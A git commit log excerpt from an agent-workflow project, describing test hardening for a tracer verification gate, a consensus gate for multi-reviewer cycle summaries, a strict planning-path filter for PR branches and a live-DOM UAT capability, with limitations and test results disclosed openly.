   (valid, and still shown at :179) does not reach the #3299 auto-continue —
   only a <verify> carrying <automated> does — so the benefit is silently
   unreachable for tracers using that format.

Mutation-verified: reverting the plan-md row fails 1 test; reverting the
executor's interactive branch fails 4.

* fix(#3299): make the tracer gate reachable from the planner template, and bind the assertions

Peer review round 3 found two Majors, both verified by reproducing the
mutation before fixing.

MAJOR 1 — the fix was largely inert on its own default path.
agents/gsd-planner.md's Nyquist Rule (:191) says every <verify> includes
<automated>, but the tracer-specific template twelve lines later emitted the
legacy bare-text form. The gate auto-continues only on a <verify> carrying
only <automated>, so every tracer produced from the canonical template fell
to the STOP fallback and #3299's benefit was unreachable for exactly the task
type it targets. Template now wraps in <automated>; a contract assertion pins
it so the two cannot drift apart again.

MAJOR 2 — the new assertions did not bind condition to action.
Appending 'Nevertheless, interactive runs always present a
checkpoint:human-verify' to the canonical row, and 'then immediately STOP and
return a checkpoint:human-verify' to the auto-continue clause in BOTH
operative copies, restored unconditional interactive checkpointing and left
the suite 35/35 green. Every required keyword still matched. Fixed by:

- clause 2 must now contain no STOP outcome and emit no checkpoint at all —
  'never a checkpoint' has to be true OF the clause, not merely stated in it;
- interactiveIsConditional replaced with the ordered-clause parse plus the
  same no-STOP property, instead of proving only that HUMAN_VERIFY_MODE
  appears somewhere on the line;
- the plan-md.md Autonomy cell is now pinned EXACTLY rather than by keyword
  presence. Deliberately brittle: CONTEXT.md names that table the canonical
  schema reference, so a wording change must be a conscious edit in both
  places.

Mutation-verified after the fix: the combined semantic regression now fails 3
tests; reverting the planner template fails 1.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#3299): exact-pin the safety clauses instead of blacklisting outcome verbs

Peer review round 4. Blacklisting did not hold, twice over:

- Round 3 banned literal STOP and the 'return a'/'present a' checkpoint
  forms in the auto-continue clause. Round 4 defeated that by appending
  'then pause and invoke checkpoint_protocol with a checkpoint:human-verify
  before expansion' — none of the banned tokens, same restored interruption
  after every successful tracer. 36/36 passed.
- The planner guard looked for <automated> anywhere inside <verify>, so
  '<verify>[...]<!--<automated>--></verify>' satisfied it while leaving the
  legacy bare form operative. 107/107 passed across tracer, planner and the
  three size-cap suites.

Synonyms are unbounded; the clauses are not. Both are now pinned exactly on
normalized whitespace, the same approach already proven on the plan-md.md
Autonomy cell, with defence-in-depth checks behind them: no checkpoint-emitting
or blocking outcome in any wording inside clause 2, and the planner's <verify>
body must be exactly one non-empty <automated> child with no commented markup.

These pins are deliberately brittle. Each is a safety contract, so changing the
behavior must be a conscious edit in both the prose and the expectation.

Mutation-verified: the synonym-checkpoint mutation fails 1; the commented-out
wrapper fails 1; the round-3 literal-STOP + contradictory-doc-row regression
fails 3.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#3299): strip comments, require uniqueness, pin whole regions

Peer review round 5. Exact-pinning one clause was still bypassable two ways,
both reproduced before fixing (each left the suite fully green):

- COMMENTED DECOYS. Put the correct text in an HTML comment followed by a live
  wrong copy: every extractor selected the commented decoy. Worked against the
  planner template, the canonical plan-md.md row, and both executor branches.
- SURROUNDING OVERRIDE. Insert 'after every tracer, pause and invoke
  checkpoint_protocol before expansion, regardless of the mode-specific rules
  below' immediately ABOVE the pinned clause, or 'ignore row 3; always wait for
  approval' below the canonical table. The pinned text was untouched, so
  equality held while the shipped meaning inverted.

The shape that holds, applied to every operative surface:
  1. strip HTML comments BEFORE selecting, so a decoy cannot be chosen;
  2. require the structural anchor to occur EXACTLY ONCE, so a live second copy
     cannot hide behind a correct first one;
  3. pin the ENTIRE decision region, not one clause, so no unparsed prefix or
     suffix can override what the pin proves.

Applied to: the executor's whole tracer branch, execute-plan.md's whole
dispatch line, checkpoints.md's whole precedence section, and plan-md.md's
Autonomy cell.

Also addresses the round-5 Minor: the planner template is now asserted
STRUCTURALLY (exactly one <verify> in the fenced block, body exactly one
non-empty <automated> child) rather than pinning the descriptive placeholder
verbatim, so behavior-preserving wording changes no longer false-fail. The
clause and section pins keep their exact form — those have a safety rationale
the placeholder copy does not.

Mutation-verified, all six rounds: override-above-clause 1; commented decoy row
1; commented decoy branch 1; ignore-row-3 override 1; synonym checkpoint 1;
commented-out wrapper 2.

* test(#3299): drop the superseded exact-placeholder planner assertion

Peer review round 6, Minor. The round-5 brittleness fix ADDED a structural
planner assertion but left the old exact-placeholder one in place, so the
over-brittleness it was meant to remove was still live: rewording the
descriptive placeholder while preserving exactly one non-empty direct
<automated> child failed the old test and passed the new one.

Removed the old test. The structural assertion is the real contract — the gate
auto-continues on the SHAPE of the verify, not on the wording of a placeholder.

Verified both directions: a behavior-preserving reword now passes; reverting the
template to bare <verify> still fails.

* test(#3299): select operative prose via parsePredicates, not a hand-rolled scanner

Peer review round 7. I had judged the round-6 selector bypass adversarial-only
and out of scope, intending to disclose it. Both premises were wrong, and the
review said so:

- 'Needs new src API' — false. parsePredicates is ALREADY a public export and
  internally uses the repo's interleaved fence/comment scanner. Instrumenting
  candidate lines as throwaway predicate declarations borrows that scanner with
  no src change at all.
- 'Adversarial-only' — false, and this is the part that mattered. Two ORDINARY
  edits silently turned the guards into decoy checks:
    * a forgotten '-->' comments the live rule through to EOF, and the
      balanced-only stripper still saw and accepted the commented rule;
    * a normal fenced documentation example of the rule, plus a whitespace-only
      reformat of the live list item, made the selector choose the example.
  Neither needs intent. A dangling comment is a typo; a fenced example is good
  documentation. Together they reproduce exactly the accidental drift #3299 came
  from — with CI green.

The selection layer now defers to parsePredicates for operativeness, uses
whitespace-tolerant anchors so a reformat cannot decouple the live line from its
pin, extracts regions by operative line index rather than string search, and
carries a self-guard test proving fenced / balanced-commented /
after-unclosed-comment copies are all excluded. The helper also ignores indexes
it did not inject, so a pre-existing GSDTEST.CANDIDATE line cannot pollute it.

Verified both ordinary-edit scenarios now fail the suite (each was green before).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#3299): close the operative-selection gaps the maintainer blocked on

trek-e's Blocker: the operative-line selection layer had three gaps, all
reachable by ordinary future doc edits rather than sabotage. He independently
found a fourth I had not disclosed. All are fixed.

1. INDENTATION PROMOTION (his find, not in my disclosure). The instrumentation
   replaced a matched candidate with an UNINDENTED marker regardless of the
   original line's indentation. A 4-space-indented CommonMark code block is not
   skipped by parsePredicates (it accepts indented declarations by design), so
   stripping the indent PROMOTED an indented decoy to operative — the exact
   inversion of the guard's purpose. The marker now preserves the original
   indent, and a candidate that is itself indented 4+ spaces is never injected.

2. NO SET MEMBERSHIP. The filter accepted any in-range integer, so a
   pre-existing literal GSDTEST.CANDIDATE=<valid index> in source text could
   pollute the count. Now filters on a Set of the indexes actually injected on
   this call.

3. RAW FENCE SELECTION (planner). The template test matched the first raw
   ```xml fence after the marker with no fence/comment awareness — the one
   selection in the suite that was not operative-aware — so a commented-out
   decoy template between the marker and the real one would be selected while
   the live template regressed. The opener must now be operative AND the first
   non-blank line after the marker.

4. RAW END ANCHOR (regionFrom). The end anchor was tested against raw lines, so
   a fenced example containing a ### / <type line truncated the pinned region
   early — a false FAILURE on a legitimate doc edit. End anchors now go through
   the same operative filter as start anchors.

Mutation-verified: the indented-decoy + whitespace-varied-anchor combination
and the commented-out fence decoy each now fail the suite (both passed clean
before). Truncation is confirmed fixed by extraction — the region spans the
full section and retains the content following a fenced example, where it
previously stopped at it.

Note on the remaining brittleness: adding a fenced example INSIDE a pinned
region still fails the whole-region exact pin. That is the intended tradeoff
for a safety contract, not the truncation defect, and is called out as such.

* test(#3299): allow-list operative indentation; pin marker provenance

Review round 9.

BLOCKER — the round-8 indentation guard was written as a DENY-list,
/^(?: {4,}|\t)/, and CommonMark has more indented-code forms than that
enumerates: " \t", "  \t" and "   \t" all open an indented code block and all
slipped through, so an indented decoy was still promoted to operative while the
live rule regressed (34/34 green). Inverted to an allow-list — only 0-3 literal
spaces is ordinary block indentation; anything else is code. Enumerating the
bad shapes was the error, not the specific regex.

MINOR — the injected-index Set validated the marker's VALUE but not its SOURCE.
A pre-existing literal `GSDTEST.CANDIDATE=<n>` could name an index that some
other (skipped) candidate had contributed to the set, and be accepted. Now also
requires p.line - 1 === Number(p.value): the predicate must have been parsed
from the line it names.

MINOR (false negative) — ```xml title=x is a valid CommonMark info string, and
requiring exactly ```xml failed the suite (33/34) on a behavior-preserving edit.
Both the opener assertion and the extraction now accept an info string.

Mutation-verified: the mixed " \t" decoy and the forged-provenance marker each
now fail; the info-string fence no longer false-fails.

KNOWN LIMITATION, disclosed on the PR rather than papered over: parsePredicates
is a predicate parser, not a general CommonMark operativeness oracle. Two
standards-valid constructs still read as operative — a lazy blockquote
continuation line (state opens only on a line that literally starts with ">"),
and a comment opened mid-line ("prose <!--", where state opens only when the
trimmed line STARTS with "<!--"). Closing those means either teaching the shared
src/context-predicates.cts about container/lazy-continuation state — a change to
a module every health rule consumes, well outside a tracer-gate fix — or
hand-rolling a CommonMark parser inside a test, which is how this suite got into
trouble in the first place. Left for the maintainer to scope.

* chore(#3299): re-arm the execute-plan.md emitted-drift ack after the base merge

The #3299 ack rode on tests/emitted-drift-acks/2652-quick-diagnose-dispatch-isolation.json,
which upstream retired in 362d0434b (#3370) once #2728's entries were spent.
#3370's own fragment now owns execute-plan.md at the base, so a new
3299-*.json naming that path would collide — mergeAckSources rejects a
duplicate key across fragments rather than silently last-winning.

Re-arms #3370's entry instead, the mechanism the gate is built for (a spent
ack whose reason changes in the diff is live again), carrying #3370's own
reason forward verbatim so the base growth keeps its account.

Verified: emitted-attribution 175/175 against origin/next@be9329b10.

* fix(#3299): honor golden rule 6 in the tracer gate, extract the chain

Addresses the review on #3390 (B1-B3, M1-M4, minors).

B3 — checkpoints.md asserted two incompatible rules about the same gate.
Golden rule 6 says gate="blocking-human" stops for a human in every mode;
the precedence table scoped row 1 to interactive runs, so a first-match
chain let an auto-mode tracer carrying that gate fall to row 2 and
auto-continue. Rule 6 wins: row 1 is now "Any run, any mode", the
justification sentence it falsified is gone, and the STOP is evaluated
before the auto-mode branch at all three dispatch sites — gsd-executor.md,
execute-plan.md and the plan-md.md schema row. Unreachable by our planner
is not unreachable: src/verify.cts parses only `type` and never consults
`gate` on non-checkpoint tasks, so an imported PLAN.md can carry it.

B1 — the LARGE-tier cap. gsd-executor.md is 49150 on next against a 49152
cap, so this PR could not add a byte. Extracted rather than trimmed: the
precedence chain now lives only in checkpoints.md (already @-imported by
<checkpoint_protocol>, so no new load), and the duplicate summary inside
that protocol section is a pointer. The rationale the earlier trim
deleted is restored — "production-quality, never a throwaway" and
"Pouring more layers onto a broken foundation...". Result 49097: 55 bytes
under the cap and a net 53-byte REDUCTION against next, so the PR returns
headroom instead of consuming it.

B2 — merged upstream/next and resolved all three drift-ack conflicts.
2775 changed shape upstream (string -> {reason}); adopted the new form.

M1 — the 2775 ack claimed the Nyquist Rule sat "twelve lines earlier"; it
is ~75 lines. Corrected to "earlier in the file".
M2 — ack arithmetic restated from measurement, not from a stale base. The
2943 #3299 append is DELETED: with gsd-executor.md now shrinking there is
no ripple to acknowledge, and emitted-attribution correctly flagged the
entry as stale.
M3 — changeset rewritten to the documented bold-lead + em-dash one-liner.
M4 — the two self-defeated shapes are gone. The planner-human-verify-mode
presence checks now go through operativeLineIndexes. The config-get check
does NOT: all three reads live inside ```bash fences, which is their
correct executable form, and that selector excludes fenced lines by
design. It instead pins exactly one live, uncommented, fenced read per
file — mutation-tested against both a commented-out read and a duplicate.

Minors — dangling colon lead-in dropped, a "below" pointer that pointed
above corrected, and the `(default)` asymmetry between the two dispatch
copies aligned.

Two defects the merge surfaced, both caught only by the full suite:
the new #3576 gate rejected this PR's own bare `references/checkpoints.md`
cite in planner-human-verify-mode.md (rewritten to the canonical
gsd-core/ form), and the line-keyed PROSE_ALLOWLIST entry for
gsd-executor.md needed 794 -> 795 after this change shifted the line.

* fix(#3299): correct the size record the 08-22 merge falsified

Review round: one Major, four Minors.

Major — the #3299 arm's arithmetic was measured before the merge and is
now wrong in a document whose whole purpose is to be an accurate size
record. Re-measured at head: execute-plan.md is 39315 B on next and
40111 B here, so the 796-byte delta was right but the endpoints and the
headroom were not (849 bytes against DEFAULT_CAP 40960, not 1003). The
superseded figures are named rather than silently replaced. Confirmed
the workflow cap counts LF BYTES while the agent cap counts CHARACTERS —
two caps in two units, one per file.

Minor 1 — 2943-context7-tool-name.json reverted to next. JSON.parse of
both sides was already identical; the diff was an em-dash/times-sign
re-serialization left over from adding and then removing the #3299 arm.
No business in this PR.

Minor 2 — the duplicated `tracer row Autonomy cell` test is gone. Both
copies were new here and carried the same ~8-line canonical string; the
one removed selected its row with a raw startsWith find, the shape this
suite records at :477 as defeated in round 1. Its rationale — why the
cell is pinned EXACTLY, and the append-a-contradiction attack that
defeated keyword matching — is carried onto the surviving fence-aware
copy rather than deleted with it.

Minor 3 — the executor's condensed interactive clause said only "re-run,
continue", which does not distinguish pass from fail; read in isolation
it invites expansion onto a broken slice, the outcome the gate exists to
prevent. Now "re-run; fails → HALT as above, passes → continue, no
checkpoint". The pinned expected string moved with it. Executor at
48,905 chars, 247 under the cap.

Minor 4 — 2775 asserted two different current sizes for gsd-planner.md.
The stale half is next's own text taken wholesale, so the contradiction
was inherited; it now reads as a before-figure rather than a current one.

* fix(#3299): cite the plan-md example by section, not by a drifting line

Review round 7, Nit N-1. The 2775 ack fragment justified its one-line
formatting with "matching docs/reference/plan-md.md:207's own example
style". At head, :207 is prose; the one-line <verify><automated>
example it means is at :222. The citation was accurate when written
(77c2fda, f23205c) and drifted with a later merge of next.

Re-pointed by section rather than by line — it has already drifted
once, and the fragment's whole purpose is to be an accurate record —
and the drift itself is recorded inline so the correction does not
quietly overwrite what the earlier number said.

Also narrows the changeset's "any task with gate=blocking-human" to
"any tracer carrying gate=blocking-human" (found by Codex in the
whole-PR pass). Golden rule 6 and the #3299 decision table both scope
that gate to checkpoints and to the tracer feedback gate; the normal
type="auto" branch never inspects `gate`, so the wider claim promised
behavior the implementation does not have.

* fix(#3299): answer fence-delimiter liveness by insertion, not replacement

Review round 9. The round-8 fence-awareness fix was itself unsound, in the same
class it was added to close.

`operativeLineIndexes` detects operative lines by REPLACING each candidate with
a throwaway predicate declaration and asking `parsePredicates` which survived.
Sound for ordinary content lines. Not sound for a fence DELIMITER, which is
exactly what the tracer-template selection passed it: deleting every ```xml
OPENER leaves each matching closer to become an opener, and since
`computeSkippedLineFlags` is a strict FORWARD state machine, fence parity
inverts for the whole remainder of the document.

Measured against the real file rather than argued:

  agents/gsd-planner.md has 3 live top-level ```xml openers — 0-based 180, 232,
  262. operativeLineIndexes reported 180 and 262. Line 232, the "Task-level TDD"
  example, read NON-OPERATIVE — a wrong answer from a helper whose only job is
  that question.

It passed only by parity coincidence, and one extra live example anywhere
earlier flipped it to a false FAILURE blaming a decoy that does not exist:

  HEAD as-is                  | anchor 260 | openIdx 262 | ASSERTION PASSES
  +1 unrelated ```xml example | anchor 265 | openIdx 267 | ASSERTION *** FAILS ***

Fixed by asking the question a way that perturbs nothing. `isOperativePosition`
INSERTS a marker on its own line immediately before the candidate instead of
replacing it. Insertion preserves every delimiter, and because the skip-state
machine runs strictly forward, a line inserted at `idx` observes exactly the
fence/comment state the candidate observes, with nothing but the marker between
them — so marker-operative IS the candidate's position-liveness.

The review's suggested direction (substitute a same-shaped opener that still
opens a fence) cannot work here: the marker would then be inside the fence and
would never parse as a predicate at all.

Position-liveness is not content-liveness, so the helper also rejects a line
that is entirely comment (`<!-- ```xml -->`), rather than leaving that to each
caller's own shape test to happen to exclude.

`operativeLineIndexes` now THROWS when its candidate regex matches a fence
delimiter, so the unsound route cannot be reached again by a future caller
rather than only being fixed at the one site that got it wrong.

Verified with the same extra-example scenario above: with the fix, all 35 rows
stay green. Teeth: reverting the call site to `operativeLineSet` turns the
tracer-template row red on the new guard. The regression row pins both live
openers (the second is the one the deletion route lost), the block-commented
and same-line-commented openers, a line inside a fence, and re-checks both
openers after unrelated lines shift above them.

Only tests/tracer-bullet.test.cjs changes — no agent file is touched, so the
5-char gsd-planner.md and 19-byte gsd-executor.md headroom are unaffected.

Verified: `npm run lint:ci` exit 0; full `npm test` 31307 tests / 31292 pass /
0 fail / 14 skipped, TMPDIR unset, against a freshly synced origin/next.

* fix(#3299): guard the delimiter class, match the scanner, pin the assignment

Codex full-PR review of #3390, run against the round-9 head. Three defects,
two of them in the code that round added.

1. The mode-read pin survived the regression it exists to catch.
   `READ` matched the config-get substring only, so rewriting the shipped line
   as `IGNORED_MODE=$(gsd_run query config-get ...)` kept the row green while
   nothing defined HUMAN_VERIFY_MODE — the gate falls through to STOP and #3299
   is back with the suite passing. The regex now requires the assignment. A
   lookahead after `end-of-phase` closes the other half: the bare prefix also
   accepted `--default end-of-phase-wrong`. Proven by mutation: renaming the
   variable in agents/gsd-executor.md now turns that row red, and did not before.

2. The round-9 fence-delimiter guard was a SAMPLE of the class, not the class.
   It probed a fixed list of five delimiter strings. `~~~xml`, ```json, `~~~~`
   and arbitrary info strings all walk past any list short enough to write down
   — the guard was added precisely because one such regex had already slipped
   through. Now matched against the lines the regex actually selects in the
   document, which cannot go stale and cannot miss a spelling nobody thought of.
   Four such spellings pinned as rows.

3. `isOperativePosition` disagreed with the scanner it delegates to.
   For `<!-- closed --> real content` it stripped the span, found surviving
   content, and answered "live". `computeSkippedLineFlags` skips an ENTIRE line
   whose trimmed text starts with `<!--`, balanced or not, before it considers
   fences at all. Verified directly against parsePredicates. It now applies the
   scanner's own rule instead of out-reasoning it. Latent for the present caller
   (its anchored ```xml shape cannot match a comment-prefixed line), real in
   general.

Disclosed rather than fixed, and raised with the maintainer: the exact executor
region pin ends before the second operative tracer-gate paragraph at
agents/gsd-executor.md:327, which is only heading-checked — so contradictory
later instructions could ship. How much of that file to pin is a call for its
owner.

Independently probed isOperativePosition across 19 edge cases before the review
(line 0, CRLF, tab / 4-space / mixed " \t" indentation, 0-3 space fences, nested
fences, ~~~ fences, info strings, bounds); all correct. That probe is what
surfaced finding 2, which the review then confirmed from the other direction.

Verified: `npm run lint:ci` exit 0; full `npm test` 31296 tests / 31281 pass /
0 fail / 14 skipped, TMPDIR unset. One caveat stated rather than smoothed over:
in that run tests/planning-snapshot.test.cjs was truncated by concurrency after
row A5 — 11 tests did not execute, which a 0-fail aggregate cannot show. Re-run
in isolation it is 87 tests / 87 pass / 0 fail, and it is untouched by this
change.

738f42f4fd feat(#2398): consensus gate for CYCLE_SUMMARY on multi-reviewer runs (#3755)
* test(#2398): failing-first suite for the CYCLE_SUMMARY consensus gate

Binds the gate before it exists, so the suite is RED against next.

The load-bearing rows are the two the closed PR #2417 did not have. The B2
regression row asserts a judgment-class lone HIGH counts WITHOUT corroboration
when its raiser is unmarked — if anyone re-couples that class to corroboration,
more reviewers again produce a weaker gate than one, which is what closed #2417.
The parity row asserts every marker literal the gate names is one
review-lane-runner actually emits, so the gate cannot key on a signal nothing
produces; a mutation row and a seeded fast-check property prove that guard runs
its failure branch rather than only reading a correct tree.

Also pinned: gate position before Counting rules, the untouched CYCLE_SUMMARY
line shape the orchestrator greps, fence balance, the single-reviewer no-op,
classification by what a claim asserts rather than by citation presence, the
all-marked fail-open, current_actionable staying out of scope, and the
leading-marker requirement that stops a review which merely quotes a marker
from suppressing its own findings.

* feat(#2398): consensus gate for CYCLE_SUMMARY on multi-reviewer runs

With review.reviewer_instances running several reviewer identities off one
adapter, any single instance's fabricated HIGH could force a full replan cycle
on its own. Across ~9 real cycles on two projects each of four instances
fabricated at least once, and each was also the most accurate reviewer in some
other cycle, so dropping to fewer reviewers trades away real signal.

The gate engages only when 2+ reviewers actually ran, and weighs a lone HIGH by
what the claim asserts rather than by whether anyone agreed with it. An
existence claim -- a symbol, file, flag, commit or ID exists, is absent, or says
something specific -- counts only if source-grounding confirms it or another
reviewer raised the same concern. A judgment claim -- a design or correctness
property -- counts unless that reviewer's own section opens with an
evidence-quality discount marker the review lane already stamps
([reviewed-without-source-citations] #3194, [reviewed-without-repo-access]
#2176, or a diff-only lane).

That split is what resolves B2, the finding that closed PR #2417. B2 showed the
approved wording made more reviewers produce a WEAKER gate than one: condition
(a) pointed at the source-grounding pass, which verifies every symbol THE PLAN
cites and never takes reviewer claims as input, so a genuine architectural HIGH
that one reviewer caught and another missed was neither groundable nor
corroborated and stopped gating. Judgment-class findings are therefore exempt
from corroboration entirely -- reviewers catch materially different classes of
issue, and demanding two of them independently raise the same architectural
concern suppresses exactly what a multi-reviewer setup exists to surface.

Guards on the gate itself: an all-marked cycle disengages it, so a cycle in
which nothing was verified can never be counted as converged; the marker must
OPEN a reviewer's section, so a review that merely quotes a marker does not
suppress its own findings; a suppressed HIGH stays listed and tagged rather
than dropped; current_actionable is untouched; and a single-reviewer run is
unchanged.

No new command, config key, or dependency -- the gate reads signals that
already exist. The CYCLE_SUMMARY line shape the orchestrator greps is
unchanged; only the integer it computes moves, and only for 2+ reviewers.

Known limit, inherited rather than introduced: SOURCE_CITATION_RE checks
citation presence, not resolution, which src/review-lane-runner.cts records as
a deliberate #3194 scope boundary. A fabricated but plausible file:line still
gates.

Scope revised and re-approved on the issue before any code was written.

* test(#2398): make marker parity behavioral, and stop overclaiming the gate

Review found the parity tests were vacuous: they asserted a marker STRING
appeared in review-lane-runner.cjs's source text, never requiring the module or
calling the stampers, so they would pass even if stampUngroundedReview were
broken or never invoked. They now invoke the real exported functions and assert
what those functions PRODUCE — that an uncited review gains a leading marker
blockquote, that a review carrying a file:line does not, that a self-reported
blind review is stamped, and that stamping is idempotent. Removing the source
read also removes an incidental no-source-grep evasion via a parameterized path.

Review also found the changeset headline false for the class it matters most
in. The discount markers detect 'cited nothing' and 'had no repo access'; they
cannot detect 'drew a wrong conclusion from a real citation', so a judgment-class
finding invented by an evidence-bearing reviewer still counts alone. That is the
deliberate side of the tradeoff jags-faith named when closing #2417 — the
alternative is requiring corroboration for design findings, which is B2 — but
the changeset claimed lone hallucinations no longer force a cycle, full stop.
Corrected there, and stated plainly in docs/COMMANDS.md and the design record.

Also dropped the reviewer-instances.md entry from the emitted-drift ack: the
growth ratchet's currentSizes() scans only gsd-core/workflows/ and agents/
(tests/helpers/emitted-runtime.cjs:916-929), so references/ is outside it and
that entry acknowledged a delta the gate cannot see.

4918c62d76 feat(#2845): require provenance for UI-SPEC component inventories (#3745)
* test(#2845): failing-first suite for UI-SPEC inventory provenance

Binds two shared formats before either exists, so the suite is RED against
next: the gsd-ui-checker dimension roster (asserted independently on twelve
surfaces, eight English and four translated) and the provenance-line grammar
the UI-SPEC template emits and Dimension 7 consumes.

Every parity assertion is paired with a synthetic mutation case, so the guard's
failure branch executes rather than only reading a correct tree: limit-1 (a
surface still declaring 6), limit (7), limit+1 (8), a dropped dimension, a
label that drifts on one surface only, a non-contiguous roster, a duplicated
number, and a surface that stops declaring a count at all. A seeded fast-check
property renders the roster under formatting noise (CRLF, padding, interleaved
sections) and asserts the parse round-trips and is strictly sensitive to a
dropped heading.

Assertions are on parsed typed records, never raw substrings.

* docs: normalize design-a-ui-phase how-to to American English

House style for docs/ is American English (CLAUDE.md). This file carried
colour/initialisation/initialise/artefact throughout. Spelling only — no
content change; kept separate from the #2845 feature commit so the
release-notes classifier and the hotfix cherry-pick filter see it for what
it is.

* feat(#2845): require provenance for UI-SPEC component inventories

A UI-SPEC's component inventory was treated downstream as a closed allowlist
while the document recorded nothing about whether the list had been enumerated
from the installed design system or recalled from memory. A recalled inventory
is indistinguishable from an enumerated one, so an executor complying with the
spec builds against a fraction of what the package offers, and every gate stays
green because they assert semantics rather than composition.

The UI-SPEC template gains a Component Inventory slot carrying one of two
provenance lines: the command that enumerated the list, the count it returned,
the resolved package@version and the date; or a Could not enumerate record with
a real reason. gsd-ui-researcher gains an enumeration ladder and must record
the line rather than write the list from recall.

gsd-ui-checker gains Dimension 7. An inventory with no provenance line, a count
with no command, an empty could-not-enumerate reason, or a line still carrying
the template's unfilled placeholders BLOCKs; a partial line, a line placed below
its table, or an honest negative record FLAGs; a complete line passes, and so
does a spec carrying no inventory at all, which keeps every UI-SPEC predating
the dimension validating unchanged. Whatever the verdict, an unsourced inventory
is reported as a non-exhaustive list of known-good components rather than a
closed allowlist, so the executor is never blocked from a component the spec
merely failed to mention. The checker never runs the recorded command.

The dimension count moved on all thirteen surfaces that assert it, across five
languages. Also corrects the claim in the English, Korean and Portuguese how-tos
that this checker applies a scored six-pillar rubric — that rubric belongs to
/gsd-ui-review's retroactive audit.

9a69a86f42 enhance(#2971): strict planning filter mode for /gsd-pr-branch (#3720)
* test(#2971): failing-first suite for the pr-branch planning-path filter

Binds the not-yet-built planning.pr_strict mode and the corrected filter recipe
for /gsd-pr-branch across six layers: pure classification and forbidden-path
predicates, real-git fixtures that run the cherry-pick filter loop end to end,
config-key registration through the real CLI and both manifests, the executed
worktree-materialization claim the issue's triage asked to establish, fast-check
properties over arbitrary path sets, and a drift guard over the shipped workflow.

Two live defects in today's shipped recipe are pinned as regressions, both
reproduced empirically first: `git rm -r --cached` stages a deletion of any
.planning/ path the target branch already tracks, so the generated PR removes the
base branch's planning files; and the same command leaves the cherry-picked file
untracked on disk, so a second commit touching that path aborts the pick with
"untracked working tree files would be overwritten" and every remaining commit is
silently dropped.

The test helper parses the canonical path lists out of gsd-core/workflows/pr-branch.md
rather than restating them, so the workflow stays the single source of truth and the
suite cannot drift from what ships.

Refs #2971

* feat(#2971): strict planning filter mode for /gsd-pr-branch

Adds planning.pr_strict — a boolean, default false, that selects what
/gsd-pr-branch means by "filtered". Default mode is unchanged: structural
planning state survives into the PR branch and the nine transient
subdirectories do not. Strict mode drops every .planning/ path, structural
files included, and carries a commit over only when it touches at least one
file outside .planning/.

Strict mode is what makes planning.commit_docs: true safe for a project that
versions its planning tree locally but publishes none of it. The alternative
posture, commit_docs: false, silently costs parallel executor isolation — a
worktree is checked out from a commit, so an untracked or ignored .planning/
is simply absent inside it and the executor has no PLAN.md to read. That claim
is now established by an executed fixture rather than inherited.

The two path lists are declared once and both projections derived from them,
so create_pr_branch and verify can no longer disagree about what the filter
promised. verify previously counted every .planning/ path against a documented
success criterion of zero while create_pr_branch was specified to preserve five
structural files, so a correct run reported itself as failed on every phase
that touched STATE.md — which is every phase. It now asserts against the active
mode, and names the .planning/ paths default mode deliberately keeps rather
than trading a wrong signal for silence.

Two verified defects in the same recipe are fixed alongside, because strict
mode would have amplified both. `git rm -r --cached` staged a deletion for any
.planning/ path the target branch already tracked, so the generated PR removed
the base branch's planning files — under strict mode that would have been the
entire tree. The same command left the picked file untracked on disk, so a
second commit touching that path aborted the cherry-pick with "untracked
working tree files would be overwritten" and every remaining commit was
silently dropped. Both were reproduced against real git before being fixed.
The filter now forces excluded paths back to what the PR branch's HEAD carries,
in the index and the working tree; a conflict outside the filter halts instead
of being improvised past; a commit left empty by filtering is skipped rather
than failing. A clean-working-tree precondition makes the worktree half safe.

Closes #2971

* fix(#2971): unwind the checkout on a conflict halt, and test the real recipe

Two review findings, both fixed in place.

The isolated adversarial pass found that the conflict-outside-the-filter branch
exited while leaving the user checked out on the half-built PR branch with
cherry-pick state still live — this loop runs in the user's own working
directory, so stranding them there is a real cost even though it is not a
vulnerability. The branch now aborts the pick, returns to the original branch,
removes the partial PR branch, and says so before exiting.

The standards pass found the L2 fixtures executed a hand-written mirror of the
cherry-pick filter recipe rather than the recipe itself, so a reordering in the
workflow would not have been caught — and the order is load-bearing, since
restoring a path from HEAD before removing it inverts the filter. The helper now
extracts the canonical loop from the shipped workflow and the fixtures execute
that verbatim, which also gives the conflict-halt unwind above real coverage.
The drift guard additionally pins the two commands' relative order and asserts
the workflow carries exactly one canonical loop.

Also records the publication gate in the CONTEXT.md glossary next to the commit
gate it is distinct from.

Refs #2971

* fix(#2971): make the conflict-halt unwind actually unwind, and use the colon slash form

The remote matrix caught two defects in the previous commit.

The halt path claimed to restore the original branch but did not. `git
cherry-pick --abort` does not apply to a single `--no-commit` pick with no
sequencer file, and the fallback left the unmerged index in place, which makes
`git checkout` refuse — a failure the `2>/dev/null || true` then swallowed, so
the user was told they had been restored while still sitting on the half-built
PR branch. The unwind now drops sequencer state, hard-resets the disposable PR
branch to clear the unmerged index, and only claims a restore when the checkout
actually succeeded; when it does not, it says where the user is and gives them
the two commands to finish it by hand. Verified against real git: exit 1, the
conflict named, HEAD back on the original branch, the partial branch gone, a
clean tree and no CHERRY_PICK_HEAD.

Two runtime-loaded source artifacts used the retired `/gsd-<cmd>` hyphen form,
which names a command no runtime registers. The canonical authoring token for
workflows and references is `/gsd:<cmd>`; docs keep the hyphen form, so the
documentation added in this branch is unaffected. The comment in src/config.cts
moves to the colon form too, since it propagates into the generated lib.

14679b866b enhance(#2856): add default-off live-DOM UAT capability (#3716)
* test(#2856): add failing-first suite for the live-dom-uat capability

Binds the approved triage shape before any of it exists:

- containment — the execute:wave:post hook must not render unless
  workflow.live_dom_uat is true AND the capability resolves active
  (fail-closed on a missing state entry, and on a non-boolean value)
- criterion 4 — agents/gsd-executor.md carries no browser MCP family;
  asserted as an absence, which is the only way it is observable
- Hyrum guard — the pre-existing mcp__playwright__* branch must stay
  outside the key-gated block, or upgrading silently removes working
  automated UI verification for every current Playwright-MCP user
- parity — the browser glob list now lives in two surfaces (agent
  frontmatter + workflow detection block); the assertion fails if
  either gains or loses a family without the other

Red by construction: the capability, agent and workflow block do not
exist yet. Verified on the remote runner.

Refs #2856

* enhance(#2856): add default-off live-DOM UAT capability

A phase whose acceptance criteria needed a live DOM could not be
finished by the agent that executed it: gsd-executor carries no browser
tools, so it correctly returned checkpoint:human-action even though the
work was not human-only, just tool-less. Every such phase degraded to
"executed, then finished by hand in the orchestrator", and autonomous:
false could not distinguish "a human must judge this" from "the executor
lacks the tool".

